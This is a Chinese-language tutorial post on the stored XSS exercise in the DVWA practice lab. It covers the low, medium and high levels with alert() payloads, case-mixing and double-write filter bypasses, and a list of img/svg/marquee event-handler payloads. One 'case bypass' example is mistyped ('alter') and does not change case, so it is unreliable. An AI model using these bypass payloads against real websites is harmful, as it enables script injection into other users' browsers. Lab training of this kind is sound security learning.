dvwa靶场xss储存型

xss储存型

xxs储存型

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。产生层面:后端漏洞特征:持久性的、前端执行、储存在后端数据库

存储型XSS数据交互过程:用户输入数据->后端执行php代码->存入数据库某张表->返回数据给php页面->回显前端

不需要访问指定链接,访问到存在恶意代码的网页会自动弹出

low

没有任何过滤

xss常用语句

cpp 复制代码
<script>alert(/xss/)</script>

message框插入恶意代码

上传后刷新页面就会自动弹出

name栏插入恶意代码

会发现无法对长度做了限制将maxlenth手动更改至能插入恶意代码的长度
相同插入上述代码进行刷新页面也可以

medium

本关对message参数进行了编码导致无法执行代码,还对name参数的

绕过方法

大小写绕过

cpp 复制代码
<script>alter(/xss/)</script>

双写绕过

cpp 复制代码
<sc<script>ript>alert(/xss/)</script>

插入方法和low等级,没什么区别

high

cpp 复制代码
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<svg onload=alert(1)>
<sVg OnLoAd=alert(1)>
<SvG oNlOaD=alert(1)>
<svg/onload=alert(1)>
<sVg/OnLoAd=alert(1)>
<SvG/oNlOaD=alert(1)>
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>

成了

相关推荐
せいしゅん青春之我5 小时前
【JavaEE初阶】网络原理——TCP报文结构、确认应答机制
网络·笔记·网络协议·tcp/ip·java-ee
charlie1145141916 小时前
2D 计算机图形学基础速建——2
笔记·学习·线性代数·教程·计算机图形学
9ilk7 小时前
【仿RabbitMQ的发布订阅式消息队列】--- 模块设计与划分
c++·笔记·分布式·后端·中间件·rabbitmq
摇滚侠8 小时前
Spring Boot3零基础教程,JVM 编译原理,笔记87
jvm·spring boot·笔记
摇滚侠8 小时前
Spring Boot3零基础教程,配置 GraalVM 环境,笔记88
java·spring boot·笔记
北诺南兮8 小时前
大模型算法面试笔记——多头潜在注意力(MLA)
笔记·深度学习·算法
摇滚侠10 小时前
Spring Boot3零基础教程,Kafka 的简介和使用,笔记76
spring boot·笔记·kafka
阿民不加班11 小时前
【React】打卡笔记,入门学习02:react-router
笔记·学习·react.js
Starry_hello world12 小时前
进程的替换
linux·笔记·有问必答
✎ ﹏梦醒͜ღ҉繁华落℘13 小时前
freeRTOS学习笔记(十二)--信号量
笔记·学习